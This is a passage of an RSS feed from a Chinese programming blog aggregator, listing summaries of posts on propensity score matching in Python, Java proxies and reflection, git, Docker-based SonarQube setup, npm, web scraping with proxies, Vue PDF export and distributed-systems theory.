      <description>目录&#xA;一、背景：员工技能培训真的是浪费时间吗&#xA;二、PSM的原理及python实现&#xA;1、PSM的原理&#xA;1.1 计算倾向性得分&#xA;1.2 匹配对照组样本&#xA;1.3 平衡性检查&#xA;1.4 敏感度分析&#xA;2、PSM的python实现&#xA;一、背景：员工技能培训真的是浪费时间吗 假设你是一家大企业的老板，你希望知道员工技能培训对员工生产率的提升有多大帮助。已知参加培训的员工有500人，于是你又随机抽取了500个未参加培训的员工，观察两组之间生产率的差值（ATE），并打算以此作为培训对生产率提升的因果效应。结果发现，两组员工的生产率相差不大，于是你得出“员工培训都是浪费时间”的结论。&#xA;试问，这个老板得到的结论正确吗？我们且不说结论本身是否正确，但是可以确定老板得到结论的过程缺乏科学性（不满足CIA假设）。因为我们知道这两组员工本身生产能力可能就有差别，参加培训的员工往往都是技能水平不足想要提升的，而技能优秀的员工一般都不会参加培训。直接将两组生产率作差值忽略了两组员工本身技能水平的差异，这样计算得到的因果效应会偏小。那该怎么做才能得到正确的结论呢？&#xA;最理想的做法是说，让参加了培训的张三再倒退回参加培训前的时间点（回溯），然后不参加培训再过一遍人生，看看这两个人生的张三生产率有什么差异（ATT）。很明显，时光无法倒流，最真实的因果效应只停留在理论层面。但是可以退而求其次，尽最大努力去寻找一个没有参加培训的李四，他在各方面都和张三是一样的（替身），简直是张三的翻版。于是我们通过比较张三和李四生产率的差异，也能够得出比较准确的因果效应（ATT估计值）。那么该如何寻找李四呢？&#xA;二、PSM的原理及python实现 1、PSM的原理 这里倾向得分匹配（PSM，Propensity Score Matching）就要登场了。PSM通俗理解是说，首先计算每个人参加培训的倾向性，然后根据倾向性最相似的原则，为每个参加培训的人匹配未参加培训的人，最后计算两组人群的均值差异作为ATT的估计值（因果效应）。下面是PSM的详细步骤：&#xA;1.1 计算倾向性得分 关于PSM倾向性得分的计算方式，不能用简单的欧氏距离来计算是因为欧氏距离对每个协变量的权重是一样的，当协变量维度很高时会影响得分的计算效果。一般用LR来计算倾向性得分，因为LR能够赋予协变量不同的权重。还有很多方法比如用Propensity Tree来计算得分等等。&#xA;1.2 匹配对照组样本 倾向性得分计算完成后，还需要为实验组的每个样本，从对照组中采集合适的样本去做匹配。PSM匹配环节有以下几个要点：&#xA;1）采样方式，有放回or无放回采样：从对照组抽取样本去匹配实验组样本时，被抽到的对照组样本是否允许放回。&#xA;2）匹配方式，局部最优or全局最优：应当追求为实验组每个样本找到的替身都是最匹配的（局部最优），还是整体来看实验组找到的替身是最匹配的（全局最优）。&#xA;3）匹配数量，一对一or一对多：一个实验组样本匹配一个对照组样本（一对一，偏差小，方差大），还是一个实验组用户匹配多个对照组用户（一对多，偏差大，方差小）。&#xA;4）匹配质量，有卡尺or无卡尺：实验组和对照组做匹配时，他们之间相似度是否需要限制在一定范围内（有卡尺），还是只要当前对照组样本是最匹配的即可（无卡尺）。&#xA;1.3 平衡性检查 如何衡量PSM的匹配效果？或者说怎么判断PSM后实验组和对照组是否是同质的呢？下面介绍3种评估平衡性的方法：&#xA;1）观察法：直接做协变量分布的直方图或QQ-Plot，观察实验组和对照组的协变量是否符合同一分布。&#xA;2）量化法：计算每个混淆变量的标准化差值（stddiff），stddiff越小说明混淆变量在实验组和对照组间越均衡，因果效应的估计值也就越可靠。&#xA;3）卡方检验：每个协变量和treatment做卡方检验，若检验通过（p&amp;gt;0.05）则说明协变量和treatment是相互独立的，检验未通过（p&amp;lt;0.05）说明协变量对treatment是有影响的，因果效应中来自协变量的影响没有剔除干净。&#xA;目前为止，我们已经有一对接近同质的实验组和对照组了，接下来就可以估算实验的ATT了，最简单的做法是计算实验组和对照组均值的差值。&#xA;如果平衡性检查都通过了，说明已经得到了同质的实验组和对照组，下面就可以放心估计因果效应了。最简单的方法，是将两组样本均值直接做差，将差值作为因果效应的估计值。&#xA;1.4 敏感度分析 如何衡量我们估计的因果效应是不是可靠的呢？具体地说，混淆变量的主观选择会得到不一样的结论吗？当干预变量T不存在时，因果效应还会存在吗？下面介绍常用的评估方法，即反驳测试：&#xA;1）安慰剂数据法：随机生成一列数据替代真实的treatment列，每个个体接收处理的事实已经不存在了，因此如果反驳测试中的因果效果大幅下降且接近0，说明了treatment对target具有一定的因果效应。&#xA;2）添加随机混淆变量法：添加一列随机生成的混淆变量，若反驳测试的因果效应较真实因果效应估计值变化不大，则说明其因果效应的估计值是可靠的。&#xA;2、PSM的python实现 下面介绍一个用Python实现PSM的案例，即新建诊所是否能降低新生儿死亡率。&#xA;数据样例：&#xA;OPTUM_LAB_IDCASEinfant_mortalitypoverty_rateper_capita_doctors11100.50.0121150.60.0231220.70.0141190.60.0250250.60.0160190.50.027040.10.048080.30.059060.20.04 其中OPTUM_LAB_ID表示样本序号，CASE(T)表示“是否有诊所”，infant_mortality(Y)表示新生儿死亡率（百分比）。两个混淆变量，poverty_rate贫穷率和per_capita_doctors人均医生数量。&#xA;下面直接上完整的PSM代码，包括详细的注释：&#xA;import psmatching.match as psm import numpy as np # 数据集的地址，默认数据文件是csv格式，其他格式可能会报错 path=r&#39;infant mortality.csv&#39; # 计算倾向性得分的模型格式，格式：Y~X1+X2+...+Xn，其中Y为treatment列，X为协变量列 model = &#34;CASE ~ poverty_rate + per_capita_doctors&#34;</description>
    </item>
    <item>
      <title>【重铸Java根基】理解Java代理模式机制</title>
      <link>https://bchobby.github.io/posts/e77bb451e0277fae9bc2a847cf87bc5e/</link>
      <pubDate>Fri, 05 Aug 2022 14:48:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e77bb451e0277fae9bc2a847cf87bc5e/</guid>
      <description>最近带应届新员工，教然后知不足，发现自己把很多基础知识已经还给了大学老师，因此开贴，温故而知新！&#xA;从最基础的Java知识开始由浅入深，在某个知识点中遇到有疑惑的点会额外多写几句或者单独开帖子展开。&#xA;​&#xA;什么是代理模式 简单来说就是 我们使用代理对象来代替对真实对象(real object)的访问，这样就可以在不修改原目标对象的前提下，提供额外的功能操作，扩展目标对象的功能。&#xA;代理模式的主要作用是扩展目标对象的功能，比如说在目标对象的某个方法执行前后你可以增加一些自定义的操作。&#xA;先来看一下最基本的静态代理 1.先创建一个接口，定义方法，并创建一个被代理类实现这个接口和方法&#xA;2.再创建一个代理类同样实现这个接口和方法，并且将被代理类注入到代理类中&#xA;3.在代理类中调用被代理类的同名方法，这样就可以在调用前后做更多的业务操作&#xA;静态代理中，我们对目标对象的每个方法的增强都是手动完成的（后面会具体演示代码），非常不灵活（比如接口一旦新增加方法，目标对象和代理对象都要进行修改）且麻烦(需要对每个目标类都单独写一个代理类)。 实际应用场景非常非常少，日常开发几乎看不到使用静态代理的场景。&#xA;下面说一下动态代理，动态代理在日常开发的业务代码中其实也很少见，但是在框架型项目中几乎是必不可少的，因此理解动态代理的原理有利于理解框架。&#xA;JDK动态代理 JDK动态代理基于接口、JDK提供的Proxy类和InvocationHandler类&#xA;调用Proxy类的newProxyInstance方法来创建一个代理对象&#xA;这个方法一共有 3 个参数：&#xA;public static Object newProxyInstance(ClassLoader loader, Class&amp;lt;?&amp;gt;[] interfaces, InvocationHandler h) throws IllegalArgumentException { ...... } loader : 目标类的类加载器。&#xA;interfaces : 目标类实现的一些接口；&#xA;h : 实现了 InvocationHandler 接口的对象；&#xA;其中h需要自己定义一个对象来实现InvocationHandler 接口，并重写里面的invoke方法，invoke方法内部就是具体的业务逻辑&#xA;public interface InvocationHandler { /** * 当你使用代理对象调用方法的时候实际会调用到这个方法 */ public Object invoke(Object proxy, Method method, Object[] args) throws Throwable; } invoke() 方法有下面三个参数：</description>
    </item>
    <item>
      <title>git忽略文件不生效</title>
      <link>https://bchobby.github.io/posts/f8c084b1f1f307d3fbdaed32b2ce00d0/</link>
      <pubDate>Fri, 05 Aug 2022 13:44:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8c084b1f1f307d3fbdaed32b2ce00d0/</guid>
      <description>.gitignore文件不生效&#xA;使用git提交代码希望忽略某些文件时，需要配置.gitignore。&#xA;不过已经提交后文件，再修改.gitignore文件会没有效果。&#xA;解决方案 # 清除缓存文件 git rm -r --cached . git add . git commit -m &#34;.gitignore重写缓存&#34; git push 重新提交后发现.gitignore文件生效了&#xA;原理解读 .gitignore文件只会在第一次提交项目的时候写入缓存，也就是说如果你第一次提交项目时候忘记写.gitignore文件，后来再补上是没有用的，.gitignore文件是不生效的。因为在缓存中已经标记该项目不存在ignore文件了（boolean）&#xA;所以我们使用git rm -r --cached .去清除所有的缓存。然后再次提交代码就可以了，这样.gitignore文件就会生效了。</description>
    </item>
    <item>
      <title>Docker -- sonarqube（ 这一款静态代码质量分析工具，支持Java、Python、PHP、JavaScript、CSS等25种以上的语言，而且能够集成在IDE、Jenkins、Git）</title>
      <link>https://bchobby.github.io/posts/262b755f058b612ed4b2bd45d40c5c10/</link>
      <pubDate>Fri, 05 Aug 2022 10:54:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/262b755f058b612ed4b2bd45d40c5c10/</guid>
      <description>一、sonarqube介绍 sonarqube是一款静态代码质量分析工具，支持Java、Python、PHP、JavaScript、CSS等25种以上的语言，而且能够集成在IDE、Jenkins、Git等服务中，方便随时查看代码质量分析报告；sonar通过配置的代码分析规则，从可靠性、安全性、可维护性、覆盖率、重复率等方面分析项目，风险等级从A~E划分为5个等级；同时，sonar可以集成pmd、findbugs、checkstyle等插件来扩展使用其他规则来检验代码质量；&#xA;二、sonarqube的安装 1、sonarqube最新版本已经不支持mysql数据库了，所以在安装之前需要先安装一个postgre数据库作为数据存储支持，编写文档的时候最新的版本为13.3（postgre）&#xA;docker pull postgres docker run -itd --hostname &#34;jn-postgres&#34; -p 10007:5432 \ --name &#34;postgres&#34; \ -e POSTGRES_PASSWORD=123456 \ -v /root/docker_vol/postgres/pgdata:/var/lib/postgresql/data \ postgres postgres默认用户名是postgres，可以使用工具软件来验证数据库是否安装成功。 2、设置参数vm.max_map_count&#xA;使用root账户修改etc下的sysctl.conf文件追加vm.max_map_count=262144 后保存。使用sysctl -p 查看是否生效 3、安装sonarqube&#xA;sudo docker run -itd --hostname &#34;jn-sonar&#34; -p 10008:9000 \ --name sonar \ --link postgres \ -e SONARQUBE_JDBC_URL=jdbc:postgresql://postgres:5432/sonar \ -e SONARQUBE_JDBC_USERNAME=postgres \ -e SONARQUBE_JDBC_PASSWORD=123456 \ -v /root/docker_vol/sonar/config:/opt/sonarqube/conf \ -v /root/docker_vol/sonar/extensions:/opt/sonarqube/extensions \ -v /root/docker_vol/sonar/logs:/opt/sonarqube/logs \ -v /root/docker_vol/sonar/data:/opt/sonarqube/data \ sonarqube:latest 三、使用sonarqube做代码质量检查 1、创建项目</description>
    </item>
    <item>
      <title>【自己写的.exe封装为Windows服务后开机自启动失败解决办法】</title>
      <link>https://bchobby.github.io/posts/57bcae139b1fcd01241358f8da9fb7fa/</link>
      <pubDate>Fri, 05 Aug 2022 10:09:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57bcae139b1fcd01241358f8da9fb7fa/</guid>
      <description>每天学习一点点 问题描述问题查找解决办法 问题描述 项目介绍：python Flask apcheduler&#xA;使用pyinstaller -F 将项目打包为.exe文件。&#xA;注册为windows服务，公司一个墨西哥项目，系统为win7 X64。&#xA;开机自启动失败（某些项目是可以开机自启动的）&#xA;注册为服务的.bat文件内容&#xA;# install.bat @echo.service begin.... @echo off cd /d %~dp0 set b=%cd% @sc query 你的服务名 &amp;gt; NUL @if errorlevel 1060 goto notexist @goto exist :notexist @echo %b% @sc create你的服务名 binPath= &#34;%b%\你的.exe文件名&#34; displayname= &#34;服务显示的名字&#34; @goto end :exist @net stop 你的服务名 @sc delete 你的服务名 @goto notexist :end @net start 你的服务名 @sc config 你的服务名 start= AUTO @echo off @echo.service success..... @pause # uninstall.</description>
    </item>
    <item>
      <title>node中package解析、npm 命令行npm详解，node中的common模块化，npm、nrm两种方式查看源和切换镜像</title>
      <link>https://bchobby.github.io/posts/1c245805dadf4da362e2b539fb266220/</link>
      <pubDate>Thu, 04 Aug 2022 22:53:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c245805dadf4da362e2b539fb266220/</guid>
      <description>建立一个项目时： 初始化npm配置文件，生成一个package.json npm init -y package.json文件详解&#xA;{ &#34;name&#34;: &#34;0804&#34;, 项目名，不能有大写可以使用- / @连接 不能与现有的包名重名 &#34;version&#34;: &#34;1.2.3&#34;, 当前项目的版本 1大版本 2 小版本 3 微版本 大版本 当这个项目做了重构，有了重大改变时，大版本做调整 小版本 添加新的方法，逻辑，修改部分内容，迭代开发 微版本 修改代码bug，补充功能但是没有新增方法 &#34;description&#34;: &#34;&#34;, 描述如果将这个项目发布到npm云平台上，描述有利于别人搜索 &#34;type&#34;: &#34;commonjs&#34;, 说明nodejs的模块化方式 &#34;main&#34;: &#34;a.js&#34;, 入口文件 &#34;scripts&#34;: { 脚本 &#34;test&#34;: &#34;echo \&#34;Error: no test specified\&#34; &amp;amp;&amp;amp; exit 1&#34; &#34;脚本名&#34;:&#34;命令内容&#34; npm run 脚本名 就可以运行命令内容 运行命令优先查找当前的node_modules路径下是否有这个命令 start install 这种脚本名比较特殊 直接通过 npm 脚本名 start 开始 install 在执行npm i 以后自动运行 }, &#34;keywords&#34;: [], 关键词 为了便于搜索 &#34;</description>
    </item>
    <item>
      <title>使用python爬取招聘网站数据</title>
      <link>https://bchobby.github.io/posts/b13dd497319fff59d8e152b6ad6215aa/</link>
      <pubDate>Thu, 04 Aug 2022 16:43:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b13dd497319fff59d8e152b6ad6215aa/</guid>
      <description>八、九月份是一年中的求职高峰期，一大波应届毕业生涌入市场，加上疫情因素下，很多行业都没有那么景气，很多人应届生表示想要找到理想工作变得难上加难！&#xA;现在大家找工作都是通过各种招聘app,信息全部罗列出来，可是招聘信息有一些是错综复杂的。而且不能把全部的信息全部罗列出来,这样也让人很苦恼，所以今天我们就通过爬虫技术，为大家解决这个问题。首先我们的爬取目标是获取招聘信息，并批量把地点、 公司名、工资 、等详细资料做成文档。这里我们就以boss直聘为例。在获取数据之前简单的对网站进行了分析，该网站上的反爬主要有两点。1、 直接使用requests库，在不设置任何header的情况下，网站直接不返回数据。2、同一个ip连续访问多次，直接封掉ip。&#xA;为了解决这两个问题，最后经过研究，使用以下方法，可以有效解决。1、获取正常的 http请求头，并在requests请求时设置这些常规的http请求头。2、使用代理IP进行访问。代理IP的选择比较多，比如现在我们使用的亿牛云代理，简单实现过程如下：&#xA;#! -*- encoding:utf-8 -*- import requests import random # 要访问的目标页面 targetUrl = &#34;http://httpbin.org/ip&#34; # 要访问的目标HTTPS页面 # targetUrl = &#34;https://httpbin.org/ip&#34; # 代理服务器(产品官网 www.16yun.cn) proxyHost = &#34;t.16yun.cn&#34; proxyPort = &#34;31111&#34; # 代理验证信息 proxyUser = &#34;username&#34; proxyPass = &#34;password&#34; proxyMeta = &#34;http://%(user)s:%(pass)s@%(host)s:%(port)s&#34; % { &#34;host&#34; : proxyHost, &#34;port&#34; : proxyPort, &#34;user&#34; : proxyUser, &#34;pass&#34; : proxyPass, } # 设置 http和https访问都是用HTTP代理 proxies = { &#34;http&#34; : proxyMeta, &#34;</description>
    </item>
    <item>
      <title>C&#43;&#43;快速读写</title>
      <link>https://bchobby.github.io/posts/6921412dcfbb283d2d823e217686be8e/</link>
      <pubDate>Thu, 04 Aug 2022 15:54:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6921412dcfbb283d2d823e217686be8e/</guid>
      <description> 为何要使用快读快写 通常在竞赛题目中时间是我们的一大难题，一些常见的题目还可以通过某种方式优化算法，从而提高速度减少超时。但一些数据极为bt的题目是需要用快读和快写才能解决时间超限的问题的。&#xA;快读快写的原理是什么 快读和快写都采用字符输入输出，快读先采用字符读入再转化为数字，而快写则是先将数字转化为字符再进行输出。&#xA;在这里补充一个知识点，C++中scanf、printf要比cin、cout快一倍左右。&#xA;代码示例 //快读 int read() { int x=0,f=1; char c=getchar(); while(c&amp;lt;&#39;0&#39;||c&amp;gt;&#39;9&#39;){if(c==&#39;-&#39;) f=-1;c=getchar();} while(c&amp;gt;=&#39;0&#39;&amp;amp;&amp;amp;c&amp;lt;=&#39;9&#39;) x=x*10+c-&#39;0&#39;,c=getchar(); return x*f; } //快写 void write(int x) { if(x&amp;lt;0) putchar(&#39;-&#39;),x=-x; if(x&amp;gt;9) write(x/10); putchar(x%10+&#39;0&#39;); } </description>
    </item>
    <item>
      <title>springcloud、springcloud Netflix、springcloud alibaba的区别</title>
      <link>https://bchobby.github.io/posts/16f6c217faf86ccdea6e3697cbe9d3b8/</link>
      <pubDate>Thu, 04 Aug 2022 15:48:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16f6c217faf86ccdea6e3697cbe9d3b8/</guid>
      <description>springcloud、springcloud Netflix、springcloud alibaba的区别 springcloud:&#xA;解决方案框架&#xA;springcloud Netflix:&#xA;实际解决方案，包括组件Eruka/hystrix/feign/load balance/ribbon/zuul&#xA;springcloud alibaba&#xA;实际解决方案，包括组建nacos/sentinal/seata/dubbo/RocketMq&#xA;总结：&#xA;SpringCloud Alibaba 优于 SpringCloud Netflix&#xA;SpringCloud Netflix 核心组件停止维护。&#xA;SpringCloud Alibaba 2019年孵化成功，是SpringCloud中最成熟全面的子项目。</description>
    </item>
    <item>
      <title>Vue 前端 实现 HTML 转 PDF 并导出（方案一：html2canvas &#43; jspdf 前端直接实现）</title>
      <link>https://bchobby.github.io/posts/a8f630b8620ced589be89922294b72ed/</link>
      <pubDate>Thu, 04 Aug 2022 15:14:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8f630b8620ced589be89922294b72ed/</guid>
      <description>近期公司提出了一个新需求，希望将用户在前端填写的一系列数据生成一个报告给用户，报告大概有8个表格，表格涉及到分页。于是查询了资料，做出两个方案。&#xA;方案二请点击这里&#xA;方案一 html2canvas + jspdf 使用html2canvas将使用canvas将页面转为base64图片流，并插入jspdf插件中，保存并下载pdf&#xA;使用 安装： npm install --save html2canvas npm install --save jspdf 绘制页面，页面上一共有两个表格 &amp;lt;template&amp;gt; &amp;lt;div class=&#34;table-wrapper&#34;&amp;gt; &amp;lt;div class=&#34;tables&#34;&amp;gt; &amp;lt;div class=&#34;pdf-dom&#34;&amp;gt; &amp;lt;div class=&#34;title&#34;&amp;gt; 表 A.1 xxx汇总表 &amp;lt;/div&amp;gt; &amp;lt;table class=&#34;table&#34; border=&#34;1&#34; cellspacing=&#34;0&#34;&amp;gt; &amp;lt;thead&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;类别&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;商品&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;小计&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/thead&amp;gt; &amp;lt;tbody&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;T恤&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;外套&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;羽绒服&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;短袖&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;短裤&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;连衣裙&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;tr&amp;gt; &amp;lt;td&amp;gt;半身裙&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;td&amp;gt;5&amp;lt;/td&amp;gt; &amp;lt;/tr&amp;gt; &amp;lt;/tbody&amp;gt; &amp;lt;/table&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>【重铸Java根基】理解Java反射机制</title>
      <link>https://bchobby.github.io/posts/d6d295e58bccc93c8f1e8e5f58b42f60/</link>
      <pubDate>Thu, 04 Aug 2022 15:05:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6d295e58bccc93c8f1e8e5f58b42f60/</guid>
      <description>最近带应届新员工，教然后知不足，发现自己把很多基础知识已经还给了大学老师，因此开贴，温故而知新！&#xA;从最基础的Java知识开始由浅入深，在某个知识点中遇到有疑惑的点会额外多写几句或者单独开帖子展开。&#xA;本篇内容围绕Java反射机制，后续分享Java代理机制&#xA;先搞清楚什么是反射？&#xA;通过反射可以获取一个类的名称、属性和方法，可以调用方法、修改属性&#xA;反射为我们提供了在运行时分析类的属性和调用类的方法的能力&#xA;反射在哪里运用？&#xA;平时在编写业务代码时很少用到反射，但是反射被大量运用于我们常用的开发框架中,像 Spring/Spring Boot、MyBatis 等等框架中都大量使用了反射机制。&#xA;这些框架中也大量使用了动态代理，而动态代理的实现也依赖反射。&#xA;比如下面是通过 JDK 实现动态代理的示例代码，其中就使用了反射类 Method 来调用指定的方法。&#xA;public class DebugInvocationHandler implements InvocationHandler { /** * 代理类中的真实对象 */ private final Object target; public DebugInvocationHandler(Object target) { this.target = target; } public Object invoke(Object proxy, Method method, Object[] args) throws InvocationTargetException, IllegalAccessException { System.out.println(&#34;before method &#34; + method.getName()); Object result = method.invoke(target, args); System.out.println(&#34;after method &#34; + method.getName()); return result; } } Java提供的反射相关接口</description>
    </item>
    <item>
      <title>分布式理论CAP，BASE</title>
      <link>https://bchobby.github.io/posts/e1b8e3556be6d35f63ed362f00a515fa/</link>
      <pubDate>Thu, 04 Aug 2022 10:31:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1b8e3556be6d35f63ed362f00a515fa/</guid>
      <description>什么是CAP理论？ CAP理论指的是一个分布式系统最多只能同时满足一致性（Consistency）、可用性（Availability）和分区容错性（Partition tolerance）这三项中的两项。&#xA;Consistency 一致性&#xA;对于客户端的每次读操作，要么读到的是最新的数据，要么读取失败。换句话说，一致性是站在分布式系统的角度，对访问本系统的客户端的一种承诺：要么我给您返回一个错误，要么我给你返回绝对一致的最新数据，不难看出，其强调的是数据正确。&#xA;（1）强一致性&#xA;对于关系型数据库，要求更新过的数据能被后续的访问都能看到，这是强一致性。&#xA;（2）弱一致性&#xA;数据更新后，如果能容忍后续的访问只能访问到部分或者全部访问不到，则是弱一致性。&#xA;（3）最终一致性&#xA;如果经过一段时间后要求能访问到更新后的数据，则是最终一致性。&#xA;Availability可用性&#xA;任何客户端的请求都能得到响应数据，不会出现响应错误。换句话说，可用性是站在分布式系统的角度，对访问本系统的客户的另一种承诺：我一定会给您返回数据，不会给你返回错误，但不保证数据最新，强调的是不出错。&#xA;Partition tolerance分区容忍性&#xA;由于分布式系统通过网络进行通信，网络是不可靠的。分区容错性指在遇到某节点或网络分区故障的时候，仍然能够对外提供满足一致性和可用性的服务。换句话说，分区容忍性是站在分布式系统的角度，对访问本系统的客户端的再一种承诺：我会一直运行，不管我的内部出现何种数据同步问题，强调的是不挂掉。&#xA;CAP权衡 之前提到,CAP理论说一个分布式系统不可能同时满足C、A、P这三个特性。那么我们就来分析C、A、P的权衡吧。&#xA;对于一个分布式系统而言，P分区容忍性是前提，必须保证，因为只要有网络交互就一定会有延迟和数据丢失，这种状况我们必须接受，必须保证系统不能挂掉。所以只剩下C、A可以选择。要么保证C数据一致性（保证数据绝对正确），要么保证A可用性（保证系统不出错）。&#xA;满足CA舍弃P，也就是满足一致性和可用性，舍弃容错性。但是这也就意味着你的系统不是分布式的了，因为涉及分布式的想法就是把功能分开，部署到不同的机器上。&#xA;其实这里有个关于CAP理论理解的误区。不要以为在所有时候都只能选择两个特性。在不存在网络失败的情况下（分布式系统正常运行时），C和A能够同时保证。只有当网络发生分区或失败时，才会在C和A之间做出选择。&#xA;当选择了C（一致性）时，要求返回的是最新的正确数据，如果由于网络分区而无法保证特定信息是最新的，则系统将返回错误或超时。&#xA;当选择了A（可用性）时，要求请求都能得到响应数据，不会出现响应错误。系统将始终处理客户端的查询并尝试返回最新的可用的信息版本，即使由于网络分区而无法保证其是最新的。&#xA;举例：&#xA;对于多数大型互联网应用的场景，主机众多、部署分散，而且现在的集群规模越来越大，所以节点故障、网络故障是常态，而且要保证服务可用性达到N个9，即保证P分区容忍性和A可用性，舍弃C（退而求其次保证最终一致性）。虽然某些地方会影响客户体验，但没达到造成用户流程的严重程度。像12306还有淘宝网，就好比是你买火车票，本来你看到的是还有一张票，其实在这个时刻已经被买走了，你填好了信息准备买的时候发现系统提示你没票了。这就是牺牲了一致性。&#xA;对于涉及到钱财这样不能有一丝让步的场景，C一致性必须保证。网络发生故障宁可停止服务，这是保证CA，舍弃P。貌似这几年国内银行业发生了不下10起事故，但影响面不大，报到也不多，广大群众知道的少。还有一种是保证CP，舍弃A。例如网络故障事只读不写。&#xA;什么是BASE理论？ BASE理论是基于CAP理论逐步演化而来的，是CP（强一致性）和AP（强可用性）权衡的结果。&#xA;BASE理论的核心思想是：即使无法做到强一致性，但应用可以采用适合的方式达到最终一致性（Eventual Consitency）。也就是说它是通过牺牲数据的强一致性来保证可用性的。&#xA;BASE是指基本可用BA（Basically Available）、软状态S（ Soft State）、最终一致性E（ Eventual Consistency）。&#xA;基本可用（Basically Available）&#xA;基本可用是指分布式系统在出现故障的时候，允许损失部分可用性，即保证核心可用。&#xA;电商大促时，为了应对访问量激增，部分用户可能会被引导到降级页面，服务层也可能只提供降级服务。这就是损失部分可用性的体现。&#xA;软状态（ Soft State）&#xA;软状态也称为弱状态，与硬状态相对，是指允许系统存在中间状态，而该中间状态不会影响系统整体可用性。即允许不同节点间数据副本之间进行数据同步的过程存在延时&#xA;最终一致性（ Eventual Consistency）&#xA;最终一致性是指系统中的所有数据副本经过一定时间后，最终能够达到一致的状态。弱一致性和强一致性相反，最终一致性是弱一致性的一种特殊情况。&#xA;BASE理论并没有要求数据的强一致性，而是允许数据在一定的时间段内是不一致的，但在最终某个状态会达到一致。在生产环境中，很多公司，会采用BASE理论来实现数据的一致，因为产品的可用性相比强一致性来说，更加重要。比如在电商平台中，当用户对一个订单发起支付时，往往会调用第三方支付平台，比如支付宝支付或者微信支付，调用第三方成功后，第三方并不能及时通知我方系统，在第三方没有通知我方系统的这段时间内，我们给用户的订单状态显示支付中，等到第三方回调之后，我们再将状态改成已支付。虽然订单状态在短期内存在不一致。但是用户却获得了更好的产品体验。</description>
    </item>
    <item>
      <title>Mockjs请求及Url取参（分页查询）</title>
      <link>https://bchobby.github.io/posts/aaab490ab98ce39de04983d0d2c4a8bc/</link>
      <pubDate>Wed, 03 Aug 2022 23:54:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaab490ab98ce39de04983d0d2c4a8bc/</guid>
      <description>用Mockjs实现模拟分页数据，获取列表的接口一般是后台需要接收页码以及每页条数，接着后台会返回总条数之类的信息。&#xA;学习mockjs以后觉得get请求十分麻烦，首先是需要处理接口地址由于携带参数而无法与后台匹配的问题，然后是mockjs没有内置的从url取参的方法，而是要自己通过对url不断地判断、截取、以及和参数名进行匹配才能取出参数，而post请求取参就相对很容易。&#xA;get请求：&#xA;组件内发送get请求获取后台返回的数据，向后台传了页码和每页条数：&#xA;//组件内 getList () { axios.get(&#39;/api/get/list&#39;,{ params: { pageindex: this.pageindex, pagesize: 10 } }).then(res=&amp;gt;{ this.list = res.data.list this.pageMax = res.data.totalPage }).catch(err=&amp;gt;{ console.log(&#39;err&#39;,err) }) } 解决携带参数的接口地址与后台定义无法匹配的问题：&#xA;//mockjs //url为：/api/get/list?pageindex=1&amp;amp;pagesie=10 //无法与/api/get/list匹配，因此要用到正则 Mock.mock(/\/api\/get\/list/,&#39;get&#39;,(options)=&amp;gt;{ console.log(options) //业务代码省略 }) 定义方法解决mockjs无内置url取参的问题：&#xA;// 根据url获取query参数 const getQuery = (url,name)=&amp;gt;{ console.log(url); // /api/get/news?pageindex=1&amp;amp;pagesize=10 const index = url.indexOf(&#39;?&#39;) console.log(index); //13 if(index !== -1) { const queryStrArr = url.substr(index+1).split(&#39;&amp;amp;&#39;) console.log(queryStrArr); //[&#39;pageindex=1&#39;, &#39;pagesize=10&#39;] //0: &#34;pageindex=1&#34; //1: &#34;pagesize=10&#34; for(var i=0;i&amp;lt;queryStrArr.length;i++) { const itemArr = queryStrArr[i].</description>
    </item>
    <item>
      <title>k8skubeadm生成Token以及设置过期时间kubeadm删除token</title>
      <link>https://bchobby.github.io/posts/9491e0722468285fae0f41407298e89b/</link>
      <pubDate>Wed, 03 Aug 2022 21:45:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9491e0722468285fae0f41407298e89b/</guid>
